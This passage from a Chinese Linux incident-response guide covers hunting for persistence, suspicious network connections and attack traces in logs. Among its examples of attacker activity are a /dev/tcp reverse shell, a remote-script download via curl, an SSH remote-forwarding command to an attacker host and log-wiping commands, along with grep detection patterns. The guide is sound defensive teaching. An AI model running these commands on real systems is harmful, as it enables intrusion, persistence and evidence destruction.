如果只杀进程,不清定时任务,恶意程序可能很快又会被拉起来。

3.8.1 查看当前用户定时任务
crontab -l
3.8.2 查看系统级定时任务
cat /etc/crontab
ls -al /etc/cron.d/
ls -al /etc/cron.hourly/
ls -al /etc/cron.daily/
ls -al /etc/cron.weekly/
ls -al /etc/cron.monthly/
3.8.3 查看所有用户定时任务
CentOS 常见路径:
ls -al /var/spool/cron/
cat /var/spool/cron/* 2>/dev/null
Ubuntu / Debian 常见路径:
ls -al /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/* 2>/dev/null
搜索可疑关键字:
grep -R -E "curl|wget|bash|sh|python|perl|nc|ncat|socat|/tmp|/var/tmp|/dev/shm|base64" /etc/cron* /var/spool/cron* 2>/dev/null
常见恶意定时任务特征:
| 特征 | 示例 |
|---|---|
| 每分钟执行 | */1 * * * * |
| 下载远程脚本 | `curl http://x.x.x.x/a.sh |
| 执行临时目录文件 | /tmp/.x/run |
| 输出丢弃 | >/dev/null 2>&1 |
| 使用 base64 解码执行 | `echo xxx |
| 反弹 Shell | bash -i >& /dev/tcp/x.x.x.x/4444 0>&1 |
看到定时任务时,不要只删除这一行,还要继续找它下载或执行的文件。
删除定时任务可以用crontab -e或者vim编辑删除,但是注意最好提前使用cp命令备份一下。
3.9 启动项和 systemd 服务排查
除了定时任务,攻击者也常通过启动项维持权限。
systemd 服务尤其常见,因为它可以开机自启动,也容易伪装成正常服务。
3.9.1 查看正在运行的服务
systemctl list-units --type=service --state=running
3.9.2 查看开机自启服务
systemctl list-unit-files --type=service | grep enabled
3.9.3 查看服务文件目录
ls -al /etc/systemd/system/
ls -al /usr/lib/systemd/system/
ls -al /lib/systemd/system/
搜索可疑内容:
grep -R -E "curl|wget|bash|python|perl|nc|socat|/tmp|/var/tmp|/dev/shm" /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system 2>/dev/null
查看某个服务内容:
systemctl cat suspicious.service
systemctl status suspicious.service
重点关注服务文件中的:
| 字段 | 说明 |
|---|---|
ExecStart |
实际启动命令 |
WorkingDirectory |
工作目录 |
User |
运行用户 |
Restart |
是否自动重启 |
WantedBy |
是否开机自启 |
可疑服务名可能会伪装成:
system-update.service
network-check.service
syslogd.service
dbus-helper.service
cloud-agent.service
不要只看服务名,要看 ExecStart 具体执行了什么。
3.10 SSH 公钥后门排查
攻击者拿到权限后,常见做法是写入自己的 SSH 公钥,实现免密登录。
常见位置:
/root/.ssh/authorized_keys
/home/用户名/.ssh/authorized_keys
这个文件里可以有多行,每一行就是一个允许登录的公钥,例如:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... user1
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... user2
意思是:
只要客户端持有其中任意一行公钥对应的私钥,就可以尝试免密登录这个用户。
查找所有 authorized_keys:
find /root /home -name authorized_keys -type f -exec ls -al {} \; 2>/dev/null
查看内容:
find /root /home -name authorized_keys -type f -exec cat {} \; 2>/dev/null
查看修改时间:
stat /root/.ssh/authorized_keys
stat /home/user/.ssh/authorized_keys
重点关注:
| 检查项 | 说明 |
|---|---|
| 是否有陌生公钥 | 不属于运维或业务人员 |
| 修改时间是否异常 | 是否接近入侵时间 |
| 普通用户是否被写入公钥 | 尤其是业务用户 |
| 权限是否异常 | .ssh 和 authorized_keys 权限不规范 |
常见权限参考:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
如果发现异常公钥,不要只删除,还要继续查攻击者是怎么写进去的。
3.11 SUID 后门排查
SUID 是 Linux 的一种特殊权限。
如果某个程序设置了 SUID,并且属主是 root,那么普通用户执行它时,可能会以 root 权限运行。
攻击者可能通过 SUID 文件维持提权能力。
查找 SUID 文件:
find / -perm -4000 -type f -ls 2>/dev/null
重点关注:
- 最近修改的 SUID 文件;
- 位于
/tmp、/var/tmp、/dev/shm的 SUID 文件; - 文件名像正常命令但路径异常;
- 不是系统默认的 SUID 程序。
常见正常 SUID 文件包括:
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
如果看到类似:
/tmp/bash
/dev/shm/.x
/var/tmp/su
并且带有 SUID 权限,就非常可疑。
取消异常 SUID:
chmod u-s suspicious_file
处置前建议先备份样本和记录文件信息。
3.12 chattr 文件隐藏属性排查
有些恶意文件明明是 root 用户也删不掉,可能是被设置了不可变属性。
查看文件属性:
lsattr suspicious_file
如果看到 i:
----i-------- suspicious_file
说明该文件被设置了 immutable,不允许修改、删除或重命名。
攻击者常用:
chattr +i suspicious_file
防止恶意文件被删除。
排查重点目录:
lsattr -R /tmp /var/tmp /dev/shm 2>/dev/null
lsattr -R /etc 2>/dev/null
取消不可变属性:
chattr -i suspicious_file
然后再删除或隔离文件。
3.13 文件分析中的常见问题
3.13.1 看到可疑文件就直接删除
删除后可能丢失证据,也不利于后续分析。
建议先记录:
stat suspicious_file
file suspicious_file
sha256sum suspicious_file
再备份:
mkdir -p /root/ir_sample
cp -a suspicious_file /root/ir_sample/
3.13.2 只删恶意文件,不查拉起方式
如果恶意文件由定时任务或 systemd 服务拉起,只删除文件不够。
还要继续查:
- crontab;
- systemd 服务;
- rc.local;
- init.d;
- WebShell;
- SSH 公钥;
- 异常账号。
3.13.3 只看文件名,不看内容和路径
攻击者可以把恶意程序命名为:
sshd
systemd
kworker
cron
rsyslogd
所以不能只看文件名,要结合:
- 文件路径;
- 文件类型;
- 修改时间;
- 哈希;
- 启动命令;
- 进程关联;
- 网络连接。
3.14 文件分析常用命令清单
查看最近修改文件:
find / -type f -mtime -3 2>/dev/null
find / -type f -mmin -60 2>/dev/null
查看临时目录:
ls -al /tmp
ls -al /var/tmp
ls -al /dev/shm
查找可执行文件:
find /tmp /var/tmp /dev/shm -type f -perm /111 -ls 2>/dev/null
查看文件信息:
stat file
file file
sha256sum file
strings file | head
查 WebShell 关键字:
grep -R -n -E "eval|assert|system|shell_exec|passthru|exec|base64_decode" /var/www/html 2>/dev/null
查定时任务:
crontab -l
cat /etc/crontab
cat /var/spool/cron/* 2>/dev/null
查 systemd 服务:
systemctl list-units --type=service --state=running
systemctl list-unit-files --type=service | grep enabled
查 SSH 公钥:
find /root /home -name authorized_keys -type f -exec ls -al {} \; 2>/dev/null
查 SUID:
find / -perm -4000 -type f -ls 2>/dev/null
查文件隐藏属性:
lsattr file
查 LD_PRELOAD:
cat /etc/ld.so.preload 2>/dev/null
3.15 文件分析小结
文件分析这一章重点不是记住所有路径,而是建立下面的排查思路:
| 步骤 | 目的 |
|---|---|
| 查最近修改文件 | 找到攻击时间附近新增或被改动的文件 |
| 查临时目录 | 发现恶意脚本、挖矿程序、反弹 Shell |
| 查 Web 目录 | 发现 WebShell、挂马、异常上传文件 |
| 查定时任务 | 判断恶意程序是否会被反复拉起 |
| 查启动项 | 判断是否存在开机自启后门 |
| 查 SSH 公钥 | 判断是否有免密登录后门 |
| 查 SUID / LD_PRELOAD / PAM | 判断是否存在高级权限维持 |
一句话总结:
文件分析就是沿着“恶意文件落在哪里、怎么被执行、怎么维持、怎么隐藏”这条线,把攻击者留下的东西找出来。
4. 网络分析
4.1 网络分析主要查什么
网络分析主要关注服务器当前的网络状态。
在 Linux 应急中,很多恶意行为都会体现在网络层面,比如:
| 行为 | 网络表现 |
|---|---|
| 反弹 Shell | 服务器主动连接攻击者 IP |
| 挖矿木马 | 服务器连接矿池地址 |
| C2 通信 | 恶意进程定期连接远程控制端 |
| 代理转发 | 服务器监听异常端口或转发流量 |
| 横向移动 | 服务器主动扫描或连接内网其他主机 |
| 后门服务 | 开放非业务端口等待攻击者连接 |
| 数据外传 | 与陌生公网 IP 之间产生大量连接或流量 |
网络分析要回答几个问题:
| 问题 | 说明 |
|---|---|
| 服务器开放了哪些端口 | 判断是否存在异常监听端口 |
| 哪些进程占用了端口 | 根据端口反查进程 |
| 是否存在异常外联 | 判断服务器是否主动连接外部 IP |
| 外联进程是什么 | 判断是业务程序还是恶意程序 |
| 是否存在代理或转发 | 检查 iptables、nftables、socat、frp 等 |
| 是否存在横向移动 | 检查内网连接、扫描行为 |
简单来说:
网络分析就是看服务器“开了什么口子、连了谁、谁在连它、流量是不是正常”。
4.2 查看当前网络连接
最常用的是 ss:
ss -antup
如果系统较老,也可以用:
netstat -antup
这两个命令都可以查看当前 TCP/UDP 连接及对应进程。
常见参数解释:
| 参数 | 说明 |
|---|---|
-a |
显示所有连接和监听端口 |
-n |
不解析域名和服务名,直接显示 IP 和端口 |
-t |
显示 TCP 连接 |
-u |
显示 UDP 连接 |
-p |
显示对应进程信息 |
实际应急中建议加 -n,否则系统会尝试解析域名,输出慢,而且不利于快速分析。
4.3 关注连接状态
执行:
ss -antup
可能看到类似状态:
| 状态 | 含义 | 应急关注点 |
|---|---|---|
LISTEN |
监听状态 | 看服务器开放了哪些端口 |
ESTAB / ESTABLISHED |
已建立连接 | 看当前正在通信的连接 |
SYN-SENT |
正在主动发起连接 | 可能是外联、扫描 |
SYN-RECV |
收到连接请求未完成 | 可能是大量连接或扫描 |
TIME-WAIT |
连接关闭后的等待状态 | 数量很大时关注来源 |
CLOSE-WAIT |
对端关闭,本端未关闭 | 可能是程序异常 |
应急里最常看的两个状态:
ss -lntup
ss -antup | grep ESTAB
第一个看监听端口,第二个看已建立连接。
4.4 查看监听端口
监听端口表示服务器当前对外或对内开放了哪些服务。
ss -lntup
或者:
netstat -lntup
重点关注:
| 检查项 | 说明 |
|---|---|
| 是否有非业务端口 | 比如 4444、5555、7777、8888、31337 |
| 是否有陌生进程监听 | 进程名和业务不匹配 |
是否监听在 0.0.0.0 |
表示所有网卡都可访问 |
| 是否监听公网地址 | 暴露面更大 |
| 监听进程路径是否异常 | 需要结合 /proc/PID/exe 查看 |
常见业务端口:
| 端口 | 服务 |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
| 3306 | MySQL |
| 6379 | Redis |
| 5432 | PostgreSQL |
| 8080 | Web / Tomcat |
| 9200 | Elasticsearch |
| 27017 | MongoDB |
注意:端口是否异常,要结合业务判断。
比如 8080 对 Web 服务器可能正常,但对纯数据库服务器就需要关注。
4.5 根据端口反查进程
如果发现可疑端口,比如 4444:
ss -lntup | grep 4444
或者:
lsof -i :4444
lsof -i 可以查看哪个进程占用了某个端口。
例如输出:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 2312 root 3u IPv4 12345 0t0 TCP 0.0.0.0:4444 (LISTEN)
这种就很可疑。
正常情况下,bash 不应该监听端口。
拿到 PID 后继续查:
ps -fp 2312
readlink /proc/2312/exe
tr '\0' ' ' < /proc/2312/cmdline
pwdx 2312
lsof -p 2312
网络分析不能只停留在“发现端口”,一定要继续追到进程和文件。
4.6 查看异常外联
外联是 Linux 应急中非常重要的排查点。
很多恶意程序不是在本地监听端口,而是主动连接攻击者服务器,例如:
- 反弹 Shell;
- 挖矿程序;
- C2 木马;
- 下载器;
- 代理隧道;
- 数据外传程序。
查看已建立连接:
ss -antup | grep ESTAB
或者:
netstat -antup | grep ESTABLISHED
重点关注:
| 现象 | 说明 |
|---|---|
| 本机主动连接陌生公网 IP | 可能是反弹 Shell 或 C2 |
| 连接端口是 4444、5555、6666、7777 | 常见测试端口,重点关注 |
连接进程是 bash、sh、python、perl、php、nc |
高危 |
| Web 服务进程存在外联 | 可能是 WebShell 或 RCE |
| 连接矿池相关域名/IP | 可能是挖矿 |
| 大量连接内网 IP | 可能是横向移动或扫描 |
例如:
ESTAB 0 0 192.168.1.10:45678 1.2.3.4:4444 users:(("bash",pid=2312,fd=3))
这里就要重点看:
| 字段 | 说明 |
|---|---|
192.168.1.10:45678 |
本机地址和本地端口 |
1.2.3.4:4444 |
远程 IP 和远程端口 |
bash |
发起连接的进程 |
pid=2312 |
进程 PID |
如果本机是业务服务器,bash 主动连接公网 IP,一般非常可疑。
4.7 判断连接方向
看网络连接时,要分清楚“谁连谁”。
在 ss 输出里,一般格式是:
Local Address:Port Peer Address:Port
也就是:
| 字段 | 说明 |
|---|---|
| Local Address | 本机 IP 和端口 |
| Peer Address | 对端 IP 和端口 |
如果看到:
192.168.1.10:45678 1.2.3.4:4444
通常表示本机使用临时端口 45678,主动连接远程 1.2.3.4:4444。
如果看到:
0.0.0.0:4444 0.0.0.0:*
并且状态是 LISTEN,说明本机正在监听 4444 端口。
判断时可以记住:
| 情况 | 可能含义 |
|---|---|
| 本机高端口连接远程固定端口 | 本机主动外联 |
| 本机固定端口处于 LISTEN | 本机开放服务 |
| 本机 80/443 有大量连接 | 可能是正常 Web 流量,也可能是攻击流量 |
| 本机连接大量内网 IP 同一端口 | 可能是扫描或横向移动 |
4.8 排查反弹 Shell 网络连接
反弹 Shell 的特点是:受害服务器主动连接攻击者 IP。
常见进程:
bash
sh
python
perl
php
ruby
nc
ncat
socat
openssl
排查命令:
ss -antup | grep ESTAB
lsof -i -P -n
ps auxww | grep -Ei "bash -i|/dev/tcp|nc |ncat|socat|mkfifo|python|perl|php|openssl"
如果发现可疑 PID,继续看:
ps -fp PID
tr '\0' ' ' < /proc/PID/cmdline
readlink /proc/PID/exe
pstree -ap | grep -C 5 PID
判断重点:
| 特征 | 判断 |
|---|---|
bash、sh 有外联 |
高危 |
命令行包含 /dev/tcp |
高危 |
命令行包含 bash -i |
高危 |
使用 nc -e 或 ncat --exec |
高危 |
父进程是 php-fpm、httpd、nginx |
可能是 WebShell 触发 |
父进程是 cron |
可能是定时任务拉起 |
父进程是 systemd |
可能是服务后门 |
4.9 排查挖矿网络连接
挖矿程序一般会连接矿池。
常见表现:
| 现象 | 说明 |
|---|---|
| CPU 长期很高 | 挖矿常见表现 |
| 连接陌生公网 IP | 矿池或代理节点 |
| 连接端口如 3333、4444、5555、7777、14444 | 常见矿池端口 |
进程名如 xmrig、kinsing、kdevtmpfsi |
常见挖矿相关名称 |
字符串中出现 stratum |
挖矿协议常见关键词 |
排查命令:
ps aux --sort=-%cpu | head
ss -antup | grep ESTAB
lsof -i -P -n
搜索可疑进程:
ps aux | grep -Ei "xmrig|miner|kinsing|kdevtmpfsi|kthreaddi|crypto|pool|stratum"
如果找到了可疑文件,可以用:
strings suspicious_file | grep -Ei "pool|stratum|wallet|xmr|crypto"
注意:挖矿程序可能不会直接连接矿池域名,而是连接攻击者自己的代理服务器,所以不能只靠端口或域名判断。
4.10 排查异常内网连接和横向移动
被入侵的 Linux 主机可能会被用作跳板,继续攻击内网其他机器。
可以查看当前连接中的内网目标:
ss -antup | grep ESTAB
重点看是否存在大量访问:
| 端口 | 可能目标 |
|---|---|
| 22 | SSH |
| 445 | SMB |
| 3389 | RDP |
| 3306 | MySQL |
| 6379 | Redis |
| 5432 | PostgreSQL |
| 9200 | Elasticsearch |
| 27017 | MongoDB |
| 8080 | Web 服务 |
| 5000、2375 | Docker API |
如果发现服务器主动连接大量内网 IP 的同一端口,比如:
10.0.0.5:22
10.0.0.6:22
10.0.0.7:22
10.0.0.8:22
需要怀疑是否存在扫描或横向爆破。
可以进一步查进程:
ss -antup | grep "10.0.0"
lsof -i -P -n | grep "10.0.0"
还可以搜索常见扫描工具:
ps aux | grep -Ei "masscan|nmap|zmap|hydra|medusa|sshpass|scanner"
find / -type f -name "nmap" -o -name "masscan" -o -name "hydra" 2>/dev/null
4.11 检查 DNS 和 hosts 配置
有些恶意程序会通过域名连接 C2,也可能修改 DNS 或 hosts 来劫持访问。
检查 DNS 配置:
cat /etc/resolv.conf
检查 hosts 文件:
cat /etc/hosts
重点关注:
| 文件 | 可疑点 |
|---|---|
/etc/resolv.conf |
是否被改成陌生 DNS |
/etc/hosts |
是否存在异常域名解析 |
/etc/hosts |
是否把安全软件、更新源指向错误地址 |
/etc/hosts |
是否有大量陌生域名绑定 |
查看修改时间:
stat /etc/resolv.conf
stat /etc/hosts
如果修改时间接近入侵时间,需要重点关注。
4.12 检查防火墙规则
攻击者可能修改防火墙规则来:
- 开放后门端口;
- 做端口转发;
- 隐藏真实服务;
- 阻断安全软件或监控;
- 允许特定 IP 访问后门;
- 拦截管理员连接。
4.13 排查端口转发和代理工具
攻击者经常在服务器上部署代理或隧道工具,把受害主机当跳板。
常见工具或关键字:
frp
frpc
frps
ew
reGeorg
Neo-reGeorg
socat
chisel
iox
nps
npc
venom
gost
ssh -D
ssh -L
ssh -R
搜索进程:
ps aux | grep -Ei "frp|frpc|frps|socat|chisel|iox|nps|npc|venom|gost|ssh -D|ssh -L|ssh -R"
搜索文件:
find /tmp /var/tmp /dev/shm /opt /usr/local -type f 2>/dev/null | grep -Ei "frp|frpc|frps|socat|chisel|iox|nps|npc|venom|gost"
如果发现类似:
ssh -R 0.0.0.0:2222:127.0.0.1:22 attacker@1.2.3.4
这可能是 SSH 远程端口转发,把本机 SSH 暴露给攻击者服务器。
4.14 抓包辅助分析
如果当前还存在异常连接,但无法判断具体内容,可以抓包。
查看网卡:
ip addr
抓取某个 IP 的流量:
tcpdump -i eth0 host 1.2.3.4 -nn
抓取某个端口:
tcpdump -i eth0 port 4444 -nn
保存为 pcap 文件:
tcpdump -i eth0 host 1.2.3.4 -w /tmp/suspicious.pcap
常用参数:
| 参数 | 说明 |
|---|---|
-i |
指定网卡 |
host |
指定 IP |
port |
指定端口 |
-nn |
不解析域名和端口名 |
-w |
保存为 pcap 文件 |
抓包注意事项:
- 不要长时间抓全流量,容易产生很大文件;
- 优先针对可疑 IP、端口、进程相关连接抓包;
- 如果涉及敏感业务数据,注意权限和数据保护;
- 抓到的 pcap 可以后续用 Wireshark 分析。
4.15 网络分析常用命令清单
查看监听端口:
ss -lntup
netstat -lntup
查看已建立连接:
ss -antup | grep ESTAB
netstat -antup | grep ESTABLISHED
查看端口对应进程:
lsof -i :端口
查看所有网络连接及进程:
lsof -i -P -n
根据 IP 查连接:
ss -antup | grep "1.2.3.4"
lsof -i -P -n | grep "1.2.3.4"
根据 PID 查进程网络连接:
ss -antup | grep PID
lsof -i -P -n | grep PID
查看 DNS 和 hosts:
cat /etc/resolv.conf
cat /etc/hosts
抓包:
tcpdump -i eth0 host 1.2.3.4 -nn
tcpdump -i eth0 port 4444 -nn
tcpdump -i eth0 host 1.2.3.4 -w /tmp/suspicious.pcap
4.16 网络分析小结
网络分析这一章,重点不是记端口,而是建立排查思路:
| 步骤 | 目的 |
|---|---|
| 查监听端口 | 判断服务器开放了哪些服务 |
| 查外联连接 | 判断服务器是否主动连接攻击者 |
| 根据端口查进程 | 找到是谁占用了端口 |
| 根据 PID 查文件 | 找到进程对应的真实文件 |
| 查防火墙规则 | 判断是否有转发、放行或拦截 |
| 查代理工具 | 判断是否被作为跳板 |
| 必要时抓包 | 辅助确认通信内容和攻击行为 |
一句话总结:
网络分析就是把“端口、连接、进程、文件、流量方向”串起来,判断服务器是否还在被控制,是否存在反弹 Shell、C2、挖矿、代理转发或横向移动行为。
5. 日志分析
5.1 日志分析主要查什么
日志分析主要用来还原攻击时间线。
前面的进程、文件、网络分析,更偏向于看服务器“现在有什么异常”;
日志分析则是往回查,确认攻击者是什么时候进来的、从哪里进来的、用了什么账号、访问了什么接口、执行了什么操作。
日志分析重点解决几个问题:
| 问题 | 说明 |
|---|---|
| 攻击者什么时候开始攻击 | 通过登录日志、Web 日志定位攻击时间 |
| 攻击入口是什么 | SSH、Web 漏洞、后台弱口令、文件上传等 |
| 是否登录成功 | 看 SSH 登录成功、失败记录 |
| 使用了哪个账号 | root、普通用户、业务账号 |
| 是否有提权行为 | sudo、su、异常权限变更 |
| 是否有 WebShell 访问 | 根据 Web 日志查可疑请求 |
| 是否清理痕迹 | 日志缺失、时间断层、文件被清空 |
| 能否还原攻击链 | 把登录、命令、文件、进程、网络串起来 |
日志分析的核心不是“看一眼日志有没有报错”,而是围绕时间线排查:
| 时间点 | 需要关联的内容 |
|---|---|
| 攻击前 | 是否有扫描、爆破、漏洞探测 |
| 攻击时 | 是否有登录成功、WebShell 上传、命令执行 |
| 攻击后 | 是否有新增文件、启动进程、写入定时任务、外联 |
| 清理阶段 | 是否有删除日志、清空历史命令、修改时间戳 |
一句话总结:
日志分析就是把攻击者的访问、登录、执行和清理痕迹按时间顺序串起来。
5.2 Linux 常见日志文件
Linux 日志大多在 /var/log/ 目录下,不同发行版日志名称会有区别。
5.2.1 登录认证相关日志
| 日志文件 | 常见系统 | 作用 |
|---|---|---|
/var/log/secure |
CentOS、RedHat | SSH、su、sudo、用户认证日志 |
/var/log/auth.log |
Ubuntu、Debian | SSH、su、sudo、用户认证日志 |
/var/log/wtmp |
通用 | 成功登录、重启、关机记录 |
/var/log/btmp |
通用 | 登录失败记录 |
/var/log/lastlog |
通用 | 每个用户最后一次登录记录 |
查看方式:
| 日志 | 查看命令 |
|---|---|
wtmp |
last |
btmp |
lastb |
lastlog |
lastlog |
secure/auth.log |
grep、less、cat |
5.2.2 系统和任务相关日志
| 日志文件 | 作用 |
|---|---|
/var/log/messages |
CentOS 系统综合日志 |
/var/log/syslog |
Ubuntu 系统综合日志 |
/var/log/cron |
CentOS 定时任务日志 |
/var/log/kern.log |
内核相关日志 |
journalctl |
systemd 日志查看工具 |
5.2.3 Web 服务日志
| 服务 | 常见日志路径 |
|---|---|
| Nginx | /var/log/nginx/access.log、/var/log/nginx/error.log |
| Apache | /var/log/httpd/access_log、/var/log/httpd/error_log |
| Apache Ubuntu | /var/log/apache2/access.log、/var/log/apache2/error.log |
| 宝塔 | /www/wwwlogs/ |
| Tomcat | logs/catalina.out、logs/localhost_access_log.*.txt |
Web 日志主要用来分析:
- 攻击者访问了哪个 URL;
- 是否有漏洞扫描;
- 是否有文件上传;
- 是否访问 WebShell;
- 是否触发命令执行;
- 攻击 IP 是什么;
- 攻击发生在什么时间。
5.3 登录日志分析
登录日志是 Linux 应急里最常看的部分,尤其是 SSH 爆破、弱口令登录、异常账号登录场景。
5.3.1 查看当前登录用户
who
w
w 命令比 who 更详细,可以看到当前用户在执行什么命令。
重点关注:
| 字段 | 说明 |
|---|---|
| USER | 登录用户 |
| TTY | 登录终端 |
| FROM | 来源 IP |
| LOGIN@ | 登录时间 |
| WHAT | 当前执行命令 |
如果看到陌生 IP 登录,尤其是 root 用户登录,需要优先记录。
5.3.2 查看历史登录成功记录
last
last -a
last 读取的是 /var/log/wtmp,可以看到成功登录记录、重启记录和关机记录。
重点关注:
| 现象 | 说明 |
|---|---|
| 陌生 IP 登录 | 可能存在异常登录 |
| root 远程登录 | 需要重点确认 |
| 非工作时间登录 | 需要结合业务判断 |
| 登录时间接近异常时间 | 可能与入侵相关 |
| 登录后很快退出 | 可能是自动化攻击或测试登录 |
查看每个用户最后一次登录:
lastlog
如果某个平时不用的用户突然有登录记录,需要重点关注。
5.3.3 查看登录失败记录
lastb
lastb 读取 /var/log/btmp,用于查看失败登录记录。
如果失败记录非常多,可能存在 SSH 爆破。
也可以直接从认证日志里查:
CentOS:
grep "Failed password" /var/log/secure
Ubuntu / Debian:
grep "Failed password" /var/log/auth.log
统计失败次数:
grep "Failed password" /var/log/secure | wc -l
统计爆破来源 IP:
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
有些系统日志格式略有不同,如果 IP 提取不准,可以用正则提取:
grep "Failed password" /var/log/secure | grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c | sort -nr | head
重点看:
| 现象 | 判断 |
|---|---|
| 单个 IP 大量失败 | 单源爆破 |
| 多个 IP 大量失败 | 分布式爆破 |
| 针对 root 爆破 | 高危 |
| 针对多个用户名 | 字典爆破 |
| 失败后出现成功登录 | 可能爆破成功 |
5.4 SSH 爆破与登录成功分析
SSH 爆破排查不能只看失败记录。
重点是确认有没有“失败之后成功”。
5.4.1 查看 SSH 登录成功
CentOS:
grep "Accepted" /var/log/secure
Ubuntu / Debian:
grep "Accepted" /var/log/auth.log
常见成功登录日志:
| 日志关键字 | 说明 |
|---|---|
Accepted password |
密码登录成功 |
Accepted publickey |
公钥登录成功 |
Accepted keyboard-interactive |
交互式认证成功 |
例如:
Accepted password for root from 1.2.3.4 port 53211 ssh2
Accepted publickey for deploy from 1.2.3.4 port 53211 ssh2
需要重点提取:
- 登录时间;
- 登录账号;
- 来源 IP;
- 登录方式;
- 是否为 root;
- 是否为陌生 IP。
5.4.2 判断是否爆破成功
可以把失败和成功放在一起看:
grep -E "Failed password|Accepted" /var/log/secure
如果看到类似:
10:10:01 Failed password for root from 1.2.3.4
10:10:05 Failed password for root from 1.2.3.4
10:10:09 Failed password for root from 1.2.3.4
10:10:15 Accepted password for root from 1.2.3.4
就要高度怀疑 SSH 爆破成功。
判断思路:
| 条件 | 说明 |
|---|---|
| 同一 IP 大量失败 | 存在爆破行为 |
| 后续出现 Accepted | 可能爆破成功 |
| 成功账号是 root | 风险很高 |
| 登录后有异常命令 | 基本可以确认入侵 |
| 登录后产生恶意进程或文件 | 形成完整证据链 |
5.4.3 查看某个 IP 的完整登录痕迹
如果发现可疑 IP,例如 1.2.3.4:
grep "1.2.3.4" /var/log/secure
可以看到这个 IP 的失败、成功、断开连接等完整行为。
常见 SSH 相关关键字:
| 关键字 | 说明 |
|---|---|
Failed password |
登录失败 |
Accepted password |
密码登录成功 |
Accepted publickey |
公钥登录成功 |
Invalid user |
尝试不存在的用户 |
Disconnected |
连接断开 |
session opened |
会话打开 |
session closed |
会话关闭 |
5.5 用户账号相关日志分析
5.5.1 查看系统用户
cat /etc/passwd
重点看:
| 检查项 | 说明 |
|---|---|
| 是否有陌生用户 | 攻击者可能新增账号 |
| 是否有 UID 为 0 的用户 | UID 0 等同 root |
| 服务账号是否能登录 | 如 mysql、nginx、apache 不应随便有 shell |
| 用户家目录是否异常 | 是否指向临时目录或隐藏目录 |
查 UID 为 0 的用户:
awk -F: '$3==0{print $1,$3,$7}' /etc/passwd
正常情况下通常只有 root。
如果出现其他 UID 为 0 的用户,需要重点关注。
查可登录用户:
awk -F: '$7 ~ /bash|sh/ {print $1,$3,$6,$7}' /etc/passwd
5.5.2 查看账号文件修改时间
stat /etc/passwd
stat /etc/shadow
stat /etc/group
如果这些文件的修改时间接近入侵时间,可能说明攻击者新增用户、修改密码或调整用户组。
也可以查看备份文件:
ls -al /etc/passwd*
ls -al /etc/shadow*
ls -al /etc/group*
5.5.3 查用户新增、密码修改痕迹
在认证日志或系统日志中搜索:
grep -E "useradd|adduser|passwd|usermod|groupadd|groupmod" /var/log/secure /var/log/messages 2>/dev/null
Ubuntu / Debian:
grep -E "useradd|adduser|passwd|usermod|groupadd|groupmod" /var/log/auth.log /var/log/syslog 2>/dev/null
重点看:
| 关键字 | 说明 |
|---|---|
useradd / adduser |
新增用户 |
passwd |
修改密码 |
usermod |
修改用户属性 |
groupadd |
新增用户组 |
sudoers |
权限配置可能被修改 |
5.6 sudo 和 su 日志分析
攻击者拿到普通用户后,通常会尝试提权。
所以要看 sudo 和 su 记录。
sudo 是让普通用户临时以 root 或其他用户身份执行某条命令,比如 sudo systemctl restart nginx,重点看它有没有执行高危命令。
su 是切换到另一个用户的 Shell,比如 su root,重点看普通用户是否成功切换到了 root。
5.6.1 查看 sudo 使用记录
CentOS:
grep "sudo" /var/log/secure
Ubuntu / Debian:
grep "sudo" /var/log/auth.log
典型日志:
sudo: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash
重点字段:
| 字段 | 说明 |
|---|---|
user |
谁执行了 sudo |
PWD |
执行命令时所在目录 |
USER=root |
以哪个用户身份执行 |
COMMAND |
执行了什么命令 |
重点关注命令:
| 命令 | 可能含义 |
|---|---|
/bin/bash、/bin/sh |
获取 root shell |
useradd、passwd |
新增用户或改密码 |
chmod、chown |
修改权限 |
chattr |
设置隐藏属性 |
crontab |
写入定时任务 |
systemctl |
创建或启动服务 |
curl、wget |
下载脚本 |
nc、socat |
反弹 Shell 或代理 |
5.6.2 查看 su 切换用户记录
grep "su:" /var/log/secure
Ubuntu / Debian:
grep "su:" /var/log/auth.log
重点看:
- 谁尝试切换到 root;
- 是否失败后成功;
- 切换时间是否接近异常登录;
- 切换用户后是否执行了高危操作。
典型分析链:
| 行为 | 说明 |
|---|---|
| 陌生 IP 登录普通用户 | 入口可能是普通账号 |
| 随后出现 su root | 尝试提权 |
| su 成功后有 sudo 或 root 操作 | 攻击者拿到更高权限 |
| 后续出现恶意文件或定时任务 | 完成后门植入 |
5.7 历史命令分析
历史命令不是严格意义上的系统日志,但在应急里非常重要。
5.7.1 查看 root 历史命令
cat /root/.bash_history
history
5.7.2 查看普通用户历史命令
cat /home/用户名/.bash_history
批量查看:
for u in /home/*; do echo "===== $u ====="; cat "$u/.bash_history" 2>/dev/null; done
重点搜索关键字:
grep -E "wget|curl|bash|sh|python|perl|nc|ncat|socat|chmod|chattr|crontab|systemctl|useradd|passwd|base64|nohup" /root/.bash_history
常见可疑命令:
| 命令 | 可能含义 |
|---|---|
wget、curl |
下载恶意脚本 |
chmod +x |
给文件执行权限 |
bash xxx.sh |
执行脚本 |
crontab -e |
编辑定时任务 |
systemctl enable |
设置服务自启 |
useradd |
新增账号 |
passwd |
修改密码 |
chattr +i |
锁定恶意文件 |
history -c |
清空历史命令 |
rm -rf /var/log/* |
删除日志 |
注意:历史命令可能被清理,也可能没有及时写入,所以只能作为辅助证据,不能完全依赖。
5.8 定时任务日志分析
如果文件分析中发现了可疑定时任务,日志分析里要继续确认它什么时候执行过。
CentOS:
grep "CRON" /var/log/cron
Ubuntu / Debian:
grep "CRON" /var/log/syslog
查看某个命令是否被执行过:
grep -E "curl|wget|bash|python|perl|/tmp|/dev/shm" /var/log/cron
重点关注:
| 现象 | 说明 |
|---|---|
| 每分钟执行一次 | 可能是持久化任务 |
执行 /tmp、/dev/shm 文件 |
高危 |
